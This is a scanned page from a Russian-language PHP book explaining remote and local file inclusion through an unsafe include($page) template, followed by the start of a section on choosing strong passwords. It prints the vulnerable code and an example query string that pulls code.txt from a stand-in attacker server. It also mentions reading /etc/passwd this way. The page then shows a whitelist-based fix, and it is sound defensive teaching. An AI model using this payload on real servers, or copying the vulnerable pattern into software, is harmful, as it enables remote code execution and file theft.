Аргерих Л. О языке РНР. Часть 5. Страница 86


Коварство include

Многие начинающие программисты допускают ошибку, создавая файл шаб­лона с верхним и нижним колонтитулами для веб-сайта и еще один файл с содержимым страницы. Содержимое включается в шаблон путем передачи имени страницы в URL. Например:

<html> <head>

<title>My site</title> </head> <body>

<b>Welcome to my site</bxbr /> <?php include($page); ?> </body> </html>

Затем создаются ссылки типа script. php?page=main. html. Поступать так очень опасно, потому что этот прием уязвим для целого ряда атак.

Если в файле php. ini для allow_url_foper задано значение on, то атакующий может выполнить на сервере произвольный код РНР, вызвав script php со строкой запроса ?page=http: //http://www.attackers-sever.com/code.txtB"> www.attackers-sever.com/code.txtB результате РНР запросит code txt с сервера атакующего, включит его в страницу и вы­полнит. Это одна из главных причин, по которым allow_url_fopen надо уста­навливать в off, если нет действительной необходимости в обратном. Другая атака, которую разрешает этот сценарий, заключается в установке для пере­менной $раде значения /etc/passwd, что приведет к посылке файла /etc/passwd атакующему. Лучший способ защиты - не пользоваться таким приемом. Лучше присвойте номер каждой странице сайта и создайте массив с имена­ми файлов страниц, индексированный по их номерам. Включайте $ра- ges[$index], как показано ниже:

<?php

$pages = array(1 => "main.html", 2 => "news.html"); if(($index < 1) or ($index > 2)) $ index = 1;

?>

<html> <head>

<title>My site</title.> </head> <body>

<B>Welcome to my site</b><br /> <?php Include $pages[$index]; ?> </body> </html>

Этот сценарий вызывается со строкой запроса ?index=1 для доступа к ma-

html или ?index=2 для доступа к news. html.

Некоторые советы

Выбор надежных паролей

Очень важно выбирать пароли так, чтобы их нельзя было угадать. Часто можно видеть в кино, как взламывают компьютер, угадав используемый пароль. Такое случается и в реальной жизни, если пароль легко угадать и кто-нибудь с помощью метода «грубой силы» проверяет все слова из сло­варя, пока не найдет пароль. Хороший пароль, т. е. такой, который труд­но угадать, должен состоять из произвольной смеси букв, цифр и знаков пунктуации. Но как запомнить такой пароль? Если записывать пароли, они снова становятся незащищенными.